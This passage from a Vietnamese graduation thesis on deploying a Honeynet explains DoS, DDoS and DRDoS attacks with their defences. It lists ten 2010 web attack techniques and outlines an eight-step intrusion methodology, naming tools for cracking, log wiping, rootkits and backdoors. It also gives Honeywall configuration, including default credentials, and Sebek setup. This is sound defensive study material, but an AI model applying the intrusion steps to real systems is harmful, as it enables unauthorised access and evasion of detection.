Như đã đề cập về vấn đề thiết lập kết nối trong phần 1, bất cứ 1 gói tin SYN, máy

chủ cũng phải để 1 phần tài nguyên của hệ thống như bộ nhớ đệm để nhận và truyền dữ

liệu cho đường truyền đó. Tuy nhiên, tài nguyên của hệ thống là có hạn và hacker sẽ tìm

mọi cách để hệ thống tràn qua giới hạn đó. (Đây còn được gọi là half-open connection vì

máy khách mở kết nối giữa chừng). Theo hình 1.13: Nếu máy chủ sau khi gửi trả một gói

tin SYN/ACK để thông báo chấp nhận kết nối cho máy yêu cầu nhưng nếu địa chỉ IP của

máy yêu cầu này là giả mạo thì gói tin không thể đến được đích, nên máy chủ vẫn phải

dành tài nguyên cho yêu cầu đó. Sau một thời gian không nhận được phản hồi từ máy

khách, máy chủ lại tiếp tục gửi một gói tin SYN/ACK để xác nhận lần nữa và cứ như

vậy, kết nối vẫn tiếp tục mở.

Nếu như hacker gửi nhiều gói tin SYN đến máy chủ đến khi máy chủ không thể

tiếp nhận thêm 1 kết nối nào nữa thì lúc này hệ thống đã bị phá vỡ.

Tóm lại: Chỉ với một đường truyền băng thông nhỏ, hacker đã có thể phá vỡ một

hệ thống. Thêm vào đó, địa chỉ IP của hacker có thể được sửa đổi nên việc xác định thủ

phạm là một vấn đề hết sức khó khăn.

1.4.3.2. Tấn công vào băng thông

- Kiểu tấn công thứ 1:

Hacker hoàn toàn có khả năng làm ngập hệ thống vì băng thông của hacker lớn

hơn băng thông của máy đích. Kiểu tấn công này không bị hạn chế bởi tốc độ truyền

mạng.

Ví dụ 9.III.3.1-1: Hacker có một đường truyền tốc độ cao T1 ( 1.544- Mbps ) hay

lớn hơn có thể dễ dàng phá vỡ một hệ thống có đường truyền 56Kbps.

- Kiểu tấn công thứ 2:

Kiểu tấn công này được sử dụng khi đường truyền mạng của hacker là quá thấp so

với đường truyền của máy đích. Không giống như kiểu tấn công DoS truyền thống ( phần

2 ), kiểu tấn công vào băng thông lớn hơn sẽ lợi dụng những gói tin từ những hệ thống

khác nhau cùng một lúc tiến đến hệ thống đích khiến cho đường truyền của hệ thống đích

không còn khả năng đáp ứng, máy chủ không còn khả năng nhận một gói tin nào nữa.

67Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 68: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hình 3.2 – Kiểu tấn công DOS vào băng thông

Theo hình 3.2, tất cả các gói tin đi vào 1 mạng máy tính qua 1 "Big-Pipe"(ống dẫn

lớn ), sau đó được router chia ra những "Small Pipe" ( ống dẫn nhỏ ) cho nhiều máy tính

con tùy theo địa chỉ IP của gói tin. Nhưng nếu toàn bộ "Big-Pipe" bị làm ngập bằng

những gói tin chỉ hướng đến 1 máy nhất định trong mạng máy tính con này, router đành

phải chấp nhận loại bỏ phần lớn các packet để chỉ còn lại số lượng vừa đủ đi qua "Small

Pipe" của máy tính đó. Kiểu tấn công này sẽ loại máy đích ra khỏi Internet. Đây là

phương pháp tấn công kiểu từ chối dịch vụ nhưng không là DoS mà gọi là DDoS ( kiểu

từ chối dịch vụ phân tán ), nghĩa là cùng một lúc nhiều máy sẽ được phát động để gửi gói

tin đến máy đích ( mặc dù đường truyền của mỗi máy không cao nhưng nhiều đường

truyền lại hợp thành một ống dẫn “ Big Pipe”), làm cho máy đích không còn khả năng

tiếp nhận gói tin và bị loại khỏi mạng Internet, như sơ đồ minh họa sau:

68Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 69: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hình 3.3 - Tấn công DDOS

DRDoS (Distributed Reflection Denial of Service) - Thế hệ tiếp theo của

DDoS:

Đây cũng chính là nguyên nhân khiến cho trang grc.com bị phá vỡ.

Hình sau sẽ minh họa kiểu tấn công DRDoS này.

69Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 70: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hình 3.4 - Tấn công kiểu DRDoS

Bằng cách giả địa chỉ IP của máy đích, hacker sẽ cùng lúc gửi nhiều gói tin đến các

hệ thống máy mạnh trên mạng, các hệ thống này khi nhận gói tin SYN giả này, chấp nhận

kết nối và gửi trả một gói tin SYN/ACK để thông báo. Vì địa chỉ IP của gói tin SYN bị

hacker sửa đổi thành địa chỉ IP máy đích nên những gói tin SYN/ACK sẽ được gửi về

cho máy đích. Cùng một lúc nhận được nhiều gói tin, đường truyền của máy đích không

đủ khả năng đáp ứng, hệ thống máy đích từ chối nhận bất kì gói tin nào và lúc này hệ

thống máy đích đã bị sụp đổ.

1.4.4. Biện pháp phòng chống

Kiểu tấn công từ chối dịch vụ là kiểu tấn công gây nhiều khó khăn trong vấn đề

bảo vệ cũng như điều tra tìm ra thủ phạm nhất, bởi vì hầu hết hacker đã thay đổi địa chỉ

IP của máy mình nên rất khó xác định ai là thủ phạm.

Để phòng chống khả năng khuyếch đại đường truyền, cần:

• Huỷ khả năng broadcast tại router biên

• Tăng kích thước hàng đợi kết nối -> kết quả: có thể phòng tránh khả năng tràn

hàng đợi qua nhiều kết nối, nhưng cách này sử dụng nhiều tài nguyên

• Giảm thời gian thiết lập kết nối

• Dùng những phần mềm phát hiện và phá hủy kiểu tấn công DoS: Hầu hết những

hệ điều hành hiện nay đều hỗ trợ khả năng phát hiện và phòng chống kiểu tấn công lụt

SYN.70

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 71: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Tuy nhiên cũng đã có những phần mềm được có khả năng tránh kiểu tấn công này.

Ví dụ như với Linux kernels 2.0.30 và về sau cài đặt một tùy chọn gọi là SYN Cookie,

kernel có nhiệm vụ truy tìm và lưu vết những khả năng có thể xảy ra kĩ thuật SYN. Sau

đó, kernel sẽ sử dụng một giao thức mã hoá như SYN cookie cho phép người dùng hợp lệ

của hệ thống tiếp tục kết nối đến hệ thống. Với WindowNT 4.0 trở về sau, sử dụng kĩ

thuật backlog, mỗi khi hàng đợi kết nối không đủ đáp ứng, hệ thống tự động cung cấp tài

nguyên cho hàng đợi, vì thế hàng đợi sẽ không bị phá vỡ. • Ứng dụng chỉ cho phép mỗi

một máy con chỉ được thiết lập số kết nối tối đa theo qui định tránh trường hợp hacker

gửi cùng lúc nhiều yêu câu gây tắc nghẽn.

Nhận xét:

Kiểu tấn công từ chối dịch vụ tuy chỉ khiến cho hệ thống bị phá vỡ trong vài phút

nhưng hậu quả thì khá to lớn (ảnh hưởng trên phạm vi tiền và uy tín). Đây là kĩ thuật

thường được hacker sử dụng trong trường hợp không thể chiếm quyền quản trị trên hệ

thống hoặc thông tin, hoặc muốn phá hủy uy tín của cơ quan đó.Thêm vào đó việc giả

mạo địa chỉ khiến cho hacker càng dễ dàng thực hiện viêc tấn công mà không sợ bị phát

hiện. Thông thường kĩ thuật này được thực hiện kèm theo sự hỗ trợ của vài công cụ như

ping of death, teardrop…

2. Các kỹ thuật tấn công mới nhất.

Các chuyên gia bảo mật đã liệt kê 10 kỹ thuật hàng đầu tấn công trên web và dự

báo các giao dịch ngân hàng trực tuyến có nguy cơ bị hacker thâm nhập cao nhất. Phát

hiện của Dương Ngọc Thái, chuyên gia bảo mật người Việt Nam đứng hàng đầu.

Hội đồng các chuyên gia bảo mật đã xếp hạng những kỹ thuật tấn công trên web

trong năm 2010 và các chuyên gia cũng đã liệt kê danh sách 10 kỹ thuật tấn công web

hàng đầu sau quá trình đánh giá và ghi nhận. 

2.1. Kiểu tấn công “padding oracle crypto”

Kẻ tấn công (hacker) sẽ khai thác khung tổ chức (framework) ASP.Net, hacker có

thể chiếm trọn quyền điều khiển bất kỳ trang web nào sử dụng ASP.NET và thậm chí

nghiêm trọng hơn có thể chiếm quyền điều khiển hoàn toàn các máy chủ Windows chứa

các trang web này. ( Người phát hiện: Dương Ngọc Thái và Juliano Rizzo)

71Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 72: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

2.2. Evercookie

Có thể dùng Javascript để tạo ra các cookie và giấu cookie ở 8 nơi khác nhau trong

trình duyệt, gây khó khăn trong việc muốn xóa sạch chúng. Thông qua Evercookie,

hacker có thể đột nhập vào máy tính ngay cả khi cookie đã bị xóa. (Người tạo ra: Samy

Kamkar).

2.3. Tấn công Autocomplete

Tính năng này sẽ tự động điền vào mẫu (form) có sẵn trên trang web (tính năng

autocomplet tự động bật), lúc đó trang web chứa mã độc có thể “buộc” trình duyệt điền

đầy đủ thông tin cá nhân mà dữ liệu được lấy từ các nguồn khác nhau nằm trên máy tính

nạn nhân. (Người tạo: Jeremiah Grossman).

2.4. Tấn công HTTPS bằng cache injection

“Tiêm” mã độc vào thư viện Javascript nằm trong cache của trình duyệt, do đó

hacker có thể “phá” trang web dù được bảo vệ bởi SSL, và khiến cache bị xóa sạch. Gần

một nửa trong 1 triệu trang web hàng đầu sử dụng thư viện mở rộng của Javascript.

(Người tạo: Elie Bursztein, Baptiste Gourdin và Dan Boneh).

2.5. Bỏ qua bảo vệ CSRF bằng ClickJacking và HTTP Parameter Pollution

Cách tấn công này sẽ lừa người dùng để lấy mật khẩu truy cập vào e-mail. Những

kẻ tấn công có thể tạo lại mật khẩu mới của nạn nhân và truy cập trực tiếp vào tài khoản

của nạn nhân.( Người tạo: Lavakumar Kuppan ).

2.6. Universal XSS trong IE8

Lỗ hổng trong IE8 sẽ giúp hacker “nhả” mã độc vào các trang web và chiếm quyền

kiểm soát máy. (Người tạo: David Lindsay và Eduardo Vela).

2.7. HTTP POST DoS

Đây là kỹ thuật tấn công DDoS dựa trên một lỗ hổng về kiến trúc của phương thức

POST trong HTTP nhằm kéo dài thời gian kết nối để làm cạn kiệt tài nguyên máy chủ.

Một khi quá nhiều dữ liệu được gửi đến máy đích đồng thời thì lúc đó máy chủ trở nên

quá tải. (Người tạo: Wong Onn Chee và Tom Brennan).

72Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 73: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

2.8. JavaSnoop

Khi dữ liệu truyền đến máy đích, đi kèm theo đó là công cụ JavaSnoop để kiểm tra

xem các ứng dụng trên máy đích có bảo đảm an toàn hay không. Hacker có thể “ núp

bóng dưới công cụ này không. ( Người tạo: Arshan Dabirsiagh).

2.9. Tấn công qua CSS History trong Firefox không cần JavaScript cho

PortScanning trong mạng nội bộ

Cách tấn công này có thể tước đoạt dữ liệu trong history của trình duyệt. Các thông

tin trong history có thể giúp hacker tấn công theo dạng lừa đảo trang web (phishing).

( Người tạo: Robert “RSnake” Hansen ).

2.10. Java Applet DNS Rebinding

Hacker có thể kiểm soát Java applet, khiến trình duyệt “phớt lờ” cache của DNS,

sau đó người dùng có thể “sập bẫy”. Java applet thường là các chương trình nhỏ chạy bên

trong trình duyệt Web (Người tạo: Stefano Di Paola).

3. Tổng kết chung quá trình tấn công của Hacker

Qua phần trình bày một số kỹ thuật tấn công của Hacker, ta có thể tổng kết chung

lại quá trình thực hiện một cuộc tấn công của Hacker vào dich vụ web như sau:

• Bước 1: FootPrinting (thu thập thông tin): Đây là bước mà hacker làm khi muốn

lấy một lượng thông tin tối đa về máy chủ/doanh nghiệp/người dùng, bao gồm chi tiết về

địa chỉ IP, Whois, DNS..v.v - là những thông tin chính thức có liên quan đến mục tiêu.

Công cụ hỗ trợ: UseNet , search engines (công cụ tìm kiếm) , Edgar Any Unix

client, http://www.networksolutions.com/whois, nslookup Is -d ,

http://www.arin.net/whois, dig

• Bước 2: Scanning (Quét thăm dò): Phần lớn thông tin quan trọng từ server có

được từ bước này , bao gồm quét cổng, xác định hệ điều hành, .v.v.. để biết các port trên

server, nghe đường dữ liệu.

Các công cụ: fping, icmpenum Ws_ping ProPack, nmap, SuperScan, fscan nmap,

….

• Bước 3: Enumeration (liệt kê tìm lỗ hổng): Bước thứ ba là tìm kiếm những tài

nguyên được bảo vệ kém, hoạch tài khoản người dùng mà có thể sử dụng để xâm nhập,

73Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 74: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

bao gồm các mật khẩu mặc định, các script và dịch vụ mặc định. Rất nhiều người quản

trị mạng không biết đến hoặc không sửa đổi lại các giá trị này.

Các công cụ phụ trợ: null sessions, DumpACL, sid2user, OnSite Admin

showmount, NAT Legion banner grabbing với telnet, netcat, rpcinfo.

• Bước 4: Gaining access (Tìm cách xâm nhập): Bây giờ hacker sẽ tìm cách truy

cập vào mạng bằng những thông tin có được ở ba bước trên. Phương pháp được sử

dụng ở đây có thể là tấn công vào lỗi tràn bộ đệm, lấy và giải mã file password, hay brute

force (kiểm tra tất cả các trường hợp) password.

Các công cụ: tcpdump, L0phtcrack readsmb, NAT, legion, tftp, pwdump2 (NT)

ttdb, bind, IIS, HTR/ISM.DLL

• Bước 5: Escalating privilege (Leo thang đặc quyền): Trong trường hợp hacker

xâm nhập đựợc vào mạng với một tài khoản nào đó, thì họ sẽ tìm cách kiểm soát toàn bộ

hệ thống. Hacker sẽ tìm cách crack password của admin, hoặc sử dụng lỗ hổng để leo

thang đặc quyền. John và Riper là hai chương trình crack password rất hay được sử dụng.

Công cụ: L0phtcrack, Ic_messages, getadmin, sechole.

• Bước 6: Pilfering (Dùng khi các file chứa pass bị sơ hở): Thêm một lần nữa các

máy tìm kiếm lại đựơc sử dụng để tìm các phương pháp truy cập vào mạng. Những file

text chứa password hay các cơ chế không an toàn khác có thể là đích cho hacker. Thông

tin lấy từ bước trên đủ để ta định vị server và điều khiển server. Nếu bước này không

thành công, đến bước <9>. Công cụ hỗ trợ: rhost, LSA Secrets user data, configuration

files, Registry.

• Bước 7: Covering Tracks (Xoá dấu vết) : Sau khi đã có những thông tin cần thiết,

hacker tìm cách xoá dấu vết, xoá các file log của hệ điều hành làm cho người quản lý

không nhận ra hệ thống đã bị xâm nhập hoặc có biết cũng không tìm ra kẻ xâm nhập là

ai. Xóa log. Công cụ: Zap, Event log GUI, rootkits, file streaming.

• Bước 8: Creating Backdoors (Tạo cửa sau chuẩn bị cho lần xâm nhập tiếp theo

được dễ dàng hơn): Hacker để lại "Back Doors", tức là một cơ chế cho phép hacker truy

nhập trở lại bằng con đường bí mật không phải tốn nhiều công sức, bằng việc cài đặt

Trojan hay tạo user mới (đối với tổ chức có nhiều user).

74Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 75: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Công cụ ở đây là các loại Trojan, keylog, creat rogue user accounts, schedule batch

jobs, infect startup files, plant remote control services, install monitoring mechanisms,

replace apps with Trojan.

Công cụ: members of wheel, administrators cron, At rc, Startup folder,

registrykeys, netcat, remote.exe, VNC, BO2K, keystroke loggers,…..

Tóm lại, việc thu thập thông tin là vô cùng quan trọng cho việc tấn công vào một

hệ thống máy đích. Cho dù hacker tấn công theo phương diện phần cứng hay qua ứng

dụng thì việc thu thập vẫn là cần thiết. Vấn đề là việc thực hiện sẽ theo từng bước như thế

nào. Có thể trong những bước đã nêu hacker không cần phải đi qua theo thứ tự hay qua

hết, nhưng việc nắm rõ thông tin của máy đích luôn là điều kiện tiên quyết để dẫn đến

thành công trong việc tấn công. Tùy vào nội dung thông tin hacker thu thập được mà

hacker sẽ quyết định tấn công theo kĩ thuật nào. Do đó, việc bảo mật cho một hệ thống

cần đòi hỏi sự kết hợp không chỉ của riêng nhà quản trị hệ thống mà còn của nhà thiết kế

ứng dụng và sự hợp tác của cả những khách hàng sử dụng ứng dụng web.

Kết luận: Do thời gian thực hiện Đồ án có hạn, vì vậy chương này chỉ trình bày

một số Kĩ thuật tấn công được xem là hay gặp và có mức độ nguy hiểm cao. Trong các

kỹ thuật tấn công trình bày ở trên thì tấn công SQL-injection là thường gặp hơn cả, vì vậy

kĩ thuật SQL-injection sẽ được chọn là kĩ thuật tấn công trong Kịch bản tấn hệ thống

Honeynet được trình bày ở chương sau.

75Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 76: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Chương IV -TRIỂN KHAI- CÀI ĐẶT- VẬN HÀNH HỆ THỐNG HONEYNET

Trong các chương trước đã giới thiệu cho chúng ta về mục đích triển khai - xây

dựng hệ thống Honeynet, trình bày mô hình kiến trúc, nguyên lý hoạt động , cùng với vai

trò – ý nghĩa của Honeynet. Chúng ta cũng đã được biết một số Kĩ thuật tấn công dịch vụ

Web có mức độ nguy hiểm và hay gặp ở chương trước. Sang chương này, Đồ án tiếp tục

trình bày về việc ứng dụng triển khai, cài đặt và vận hành hệ thống Honeynet.

Chương này bao gồm:

Mô hình triển khai thực tế

Cài đặt và cấu hình hệ thống Honeynet

Vận hành hệ thống Honeynet và phân tích kỹ thuật tấn công của Hacker

1. Mô hình triển khai thực tế

Do điều kiện khách quan không có địa chỉ IP tĩnh, nhóm đề tài đã triển khai hệ thống

Honeynet mô phỏng lại một số kiểu tấn công mà hacker đã thực hiện trên các hệ thống

trên thế giới.

Hình 4.1 - Mô hình triển khai thực tế

76Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 77: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Bảng dưới đây đưa cấu hình của các thành phần trong Honeynet:

Thành phần Hệ điều hành Ghi chú

Honeypots( PC Desktop) Web server( Window xp ) Web server: IIS+ SQL

server

Cài đặt Sebek Client

Server (Honeynet gateway) roo-1.4.hw-2009 Yêu cầu có 3 card mạng

Management( PC Desktop) Window xp

Hacker( PC desktop) Window xp

2. Cài đặt và cấu hình hệ thống Honeynet

2.1. Cài đặt và cấu hình Honeywall

a) Cài đặt

Quá trình thực hiện Honeywall khá đơn giản, sau khi đưa đĩa cài đặt Honeywall Roo

vào, màn hình sau xuất hiện:

Hình 4.2 - Màn hình cài đặt Honeywall

Sau đó thực hiện theo hướng dẫn, quá trình cài đặt sẽ diễn ra tự động.

Lưu ý: sau khi cài đặt, dữ liệu trên ổ cứng sẽ bị xóa hết, bởi vậy cần phải sao lưu trước

khi cài đặt

b) Cấu hình

77Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 78: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Sau khi Honeywall được cài đặt, nhiệm vụ đầu tiên là cấu hình hệ thống. Trên thực

tế, Honeywall là một gateway - nơi luồng dữ liệu vào / ra hệ thống Honeynet phải đi qua,

hoạt động ở chế độ cầu (bridge) sử dụng iptable, snort_inline để kiểm soát dữ liệu. Ngoài

ra, Honeywall sử dụng snort, pcap_api để thu nhận dữ liệu trên mạng. Honeywall bản roo

1.4-hw-2009 tích hợp Sebekd 3.0.5 để thu nhận dữ liệu Sebek từ phía Sebek client gửi về,

cùng với công cụ hỗ trợ phân tích Walleye, giao diện đồ họa dựa trên nên Web.

Sau khi cài đặt xong thì Honeywall sẽ tự động Restart lại và sau đó hiện ra màn hình

Login như hình dưới . Theo mặc định , Honeywall có sẵn 2 Account là : Roo và Root ;

cả 2 đều có password là : honeynet . Và để đảm bảo tính an toàn ,Honeywall chỉ cho

phép Logon với Account Roo , sau đó sẽ su lên với quyền của Account Root bằng

lệnh : su -

Honeywall cung cấp một giao diện kiểu hội thoại để cấu hình tệp /etc/Honeywall.conf

Hình 4.3 - Màn hình cấu hình Honeywall

Dưới đây là các tham số quan trọng chứa trong tệp /etc/Honeywall.conf

# Specify the system hostname

# [Valid argument: string ]

HwHOSTNAME=roo-test

# Specify the system DNS domain

# [Valid argument: string ]

78Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 79: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

HwDOMAIN=localdomain

#Start the Honeywall on boot

# [Valid argument: yes | no]

HwHONEYWALL_RUN=no

# To use a headless system.

# [Valid argument: yes | no]

HwHEADLESS=no

# This Honeywall's public IP address(es)

# [Valid argument: IP address | space delimited IP addresses]

HwHPOT_PUBLIC_IP=10.0.0.20

# DNS servers honeypots are allowed to communicate with

# [Valid argument: IP address | space delimited IP addresses]

HwDNS_SVRS=

# To restrict DNS access to a specific honeypot or group of honeypots, list

# them here, otherwise leave this variable blank

# [Valid argument: IP address | space delimited IP addresses | blank]

HwDNS_HOST=

# The name of the externally facing network interface

# [Valid argument: eth* | br* | ppp*]

HwINET_IFACE=eth0

# The name of the internally facing network interface

# [Valid argument: eth* | br* | ppp*]

HwLAN_IFACE=eth179

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 80: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

# The IP internal connected to the internally facing interface

# [Valid argument: IP network in CIDR notation]

HwLAN_IP_RANGE=10.0.0.0/24

# The IP broadcast address for internal network

# [Valid argument: IP broadcast address]

HwLAN_BCAST_ADDRESS=10.0.0.255

# Enable QUEUE support to integrate with Snort-Inline filtering

# [Valid argument: yes | no]

HwQUEUE=yes

# The unit of measure for setting oubtbound connection limits

# [Valid argument: second, minute, hour, day, week, month, year]

HwSCALE=hour

# The number of TCP connections per unit of measure (HwScale)

# [Valid argument: integer]

HwTCPRATE=20

# The number of UDP connections per unit of measure (HwSCALE)

# [Valid argument: integer]

HwUDPRATE=20

# The number of ICMP connections per unit of measure (HwSCALE)

# [Valid argument: integer]

HwICMPRATE=50

# The number of other IP connections per unit of measure (HwSCALE)80

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 81: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

# [Valid argument: integer]

HwOTHERRATE=10

# Enable the SEBEK collector which delivers keystroke and files

# to a remote system even if an attacker replaces daemons such as sshd

# [Valid argument: yes | no]

HwSEBEK=no

# Enable the Walleye Web interface.

#[Valid argument: yes | no]

HwWALLEYE=yes

# Specify whether whether to drop SEBEK packets or allow them to be sent

# outside of the Honeynet.

# [Valid argument: ACCEPT | DROP]

HwSEBEK_FATE=DROP

# Specify the SEBEK destination host IP address

# [Valid argument: IP address]

HwSEBEK_DST_IP=10.0.0.253

# Specify the SEBEK destination port

# [Valid argument: port]

HwSEBEK_DST_PORT=1101

# Enable SEBEK logging in the Honeywall firewall logs

# [Valid argument: yes | no]

HwSEBEK_LOG=no

81Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 82: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

# Specify whether the dialog menu is to be started on login to TTY1

# [Valid argument: yes | no ]

HwMANAGE_DIALOG=yes

# Specify whether management port is to be activated on start or not.

# [Valid argument: yes | no ]

HwMANAGE_STARTUP=yes

# Specy the network interface for remote management. If set to br0, it will

# assign MANAGE_IP to the logical bridge interface and allow its use as a

# management interface. Set to none to disable the management interface.

# [Valid argument: eth* | br* | ppp* | none]

HwMANAGE_IFACE=eth2

# IP of management Interface

# [Valid argument: IP address]

HwMANAGE_IP=10.10.10.66

# Netmask of management Interface

# [Valid argument: IP netmask]

HwMANAGE_NETMASK=255.255.255.0

# Default Gateway of management Interface

# [Valid argument: IP address]

HwMANAGE_GATEWAY=10.10.10.1

# DNS Servers of management Interface

# [Valid argument: space delimited IP addresses]

HwMANAGE_DNS=

82Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 83: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

# TCP ports allowed into the management interface.

# Do NOT include the SSHD port. It will automatically be included

# [Valid argument: space delimited list of TCP ports]

HwALLOWED_TCP_IN=443

# Specify whether or not the Honeywall will restrict outbound network

# connections to specific destination ports. When bridge mode is utilized,

# a management interface is required to restrict outbound network connections.

# [Valid argument: yes | no]

HwRESTRICT=yes

# Specity the TCP destination ports Honeypots can send network traffic to.

# [Valid argument: space delimited list of UDP ports]

HwALLOWED_TCP_OUT=22 25 43 80 443

# Specity the UDP destination ports Honeypots can send network traffic to.

# [Valid argument: space delimited list of UDP ports]

HwALLOWED_UDP_OUT=53 123

# Specify whether or not to start swatch and email alerting.

# [Valid argument: yes | no]

HwALERT=no

# Specify email address to use for email alerting.

# [Valid argument: any email address]

[email protected]

# NIC Module List - Set this to the number and order you wish

# to load NIC drivers, such that you get the order you want

# for eth0, eth1, eth2, etc.83

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 84: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

# [Valid argument: list of strings]

#

# Example: eepro100 8139too

HwNICMODLIST=

# Blacklist, Whitelist, and Fencelist features.

# [Valid argument: string ]

HwFWBLACK=/etc/blacklist.txt

# [Valid argument: string ]

HwFWWHITE=/etc/whitelist.txt

# [Valid argument: string ]

HwFWFENCE=/etc/fencelist.txt

# [Valid argument: yes | no]

HwBWLIST_ENABLE=no

# [Valid argument: yes | no]

HwFENCELIST_ENABLE=no

# The following feature allows the roo to allow attackers into the

# honeypots but they can't send packets out...

# [Valid argument: yes | no]

HwROACHMOTEL_ENABLE=no

# Disables BPF filtering based on the contents of HwHPOT_PUBLIC_IP

# and the black and white list contained within HwFWBLACK and HwFWWHITE

# if the HwBWLIST_ENABLE is on. Other wise, it just filters based on

# the contents of HwHPOT_PUBLIC_IP84

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 85: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

# [Valid argument: yes | no]

HwBPF_DISABLE=no

# This capability is not yet implemented in roo. The variable

# has been commented out for this reason. dittrich - 02/08/05

# Options for hard drive tuning (if needed).

# [Valid argument: string ]

# Example: -c 1 -m 16 -d

HwHWPARMOPTS=

# Should we swap capslock and control keys?

HwSWAP_CAPSLOCK_CONTROL=no

Các tham số quan trọng của Honeywall trên được minh họa qua các hình sau :

Hình 4.4 - Cấu hình các địa chỉ IP Public cho các Honeypots

Hình 4.5 – Cấu hình địa chỉ IP đích cho các gói tin Sebek

85Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 86: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hình 4.6 – Hình cấu hình lựa chọn Honeywall xử lý các gói tin Sebek

Hình 4.7 - Cấu hình địa chỉ IP cho Management Interface ( eth2 )

Hình 4.8 - Cấu hình default gateway cho Managemant Interface

86Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 87: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hình 4.9 - Sau khi cấu hình xong thì Honeywall Resart các dịch vụ

Toàn bộ nội dung tệp cấu hình Honeywall.conf có thể tham khảo tại phần phụ lục.

Sau khi cấu hình xong trên Honeywall, chúng ta có thể quản lý Honeywall thông qua

giao diện Web tại địa chỉ: https://10.0.0.66 (như hình minh họa dưới đây)

Hình 4.10 - Giao diện quản lý Honeywall

87Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 88: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

2.2 Cài đặt và cấu hình Sebek

a) Cài đặt

Chúng ta thực hiện cài đặt Sebek client trên các honeypot nhằm thực hiện thu nhận

các hành động của hacker trên từng honeypot.

Cài đặt Sebek client trên hệ điều hành WINDOWS

- Tải tệp tin Sebek – Win32 – 3.0.5.zip

- Giải nén tệp tin và chạy tệp cài đặt Setup.exe

- Sau khi cài đặt xong, thực hiện cấu hình thông qua chương trình

Configuration Winzard.exe (các tham số được đề cập ở phần cấu hình)

- Cài đặt Sebek client trên hệ điều hành LINUX RED HAT 9.0

- Tải tệp tin sebek – linux – 3.0.5.tar.gz

- Thực hiện quá trình cài đặt

tar –xzf sebek-linux-3.0.5.tar.gz

cd sebek-linux-3.0.5

./configure

make

make install

- Quá trình cài đặt tạo ra tệp sebek – linux – 3.0.3 – bin.tar, thực hiện tiếp

việc cài đặt

Tar –xf sebek-linux-3.0.5-bin.tar

Cd sebek-linux-3.0.5-bin

- Kết thúc quá trình cài đặt, thực hiện shell sbk_install.sh

./sbk_install.sh

Chú ý: Trước khi thực hiện shell sbk_install.sh chúng ta phải thực hiện sửa đổi nội

dung của tệp này theo các tham số cài đặt cho Sebek client (trình bày ở phần tiếp theo)

b) Cấu hình

Dưới đây là một số tham số cơ bản sử dụng cấu hình cho Sebek client

* Cấu hình trên Linux :

#----- DESTINATION_IP:88

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 89: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

#-----

#----- sets destination IP for sebek packets

#-----

DESTINATION_IP="192.168.1.253" Địa chỉ này phải trùng với địa chỉ IP khai

báo ở mục Sebek khi cấu hình Honeywall

#----- DESTINATION_MAC:

#-----

#----- sets destination MAC addr for sebek packets

#-----

DESTINATION_MAC="00:20:ED:00:00:00" Đây là địa chỉ MAC của card

Internal(eth1)trên Honeywall .

#----- DESTINATION_PORT:

#-----

#----- defines the destination udp port sebek sends to

#-----

DESTINATION_PORT=1101

* Cấu hình trên Windows :

Hình 4.11 - Cấu hình Sebek Client trên Windows

89Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 90: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

3. Vận hành hệ thống Honeynet và phân tích kỹ thuật tấn công của Hacker

3.1. Kịch bản tấn công

Hình 4.12 - Kịch bản tấn công hệ thống Honeynet

Đồ án sẽ trình bày một kịch bản tấn công website mắc lỗi SQL-injection (là kỹ

thuật tấn công phổ biến và có mức độ nguy hiểm cao) dựa trên mô hình triển khai hệ

thống Honeynet diễn ra như sau:

- Hacker sau khi thực hiện dò quét trên mạng, phát hiện ra Web Server (địa chỉ IP

192.168.1.111) của hệ thống bị lỗi SQL-injection, hacker thực hiện khai thác lỗ

hổng này và tiêm các đoạn mã SQL có hại (malicious code) nhằm khai thác -

chiếm quyền điều khiển toàn bộ Website .

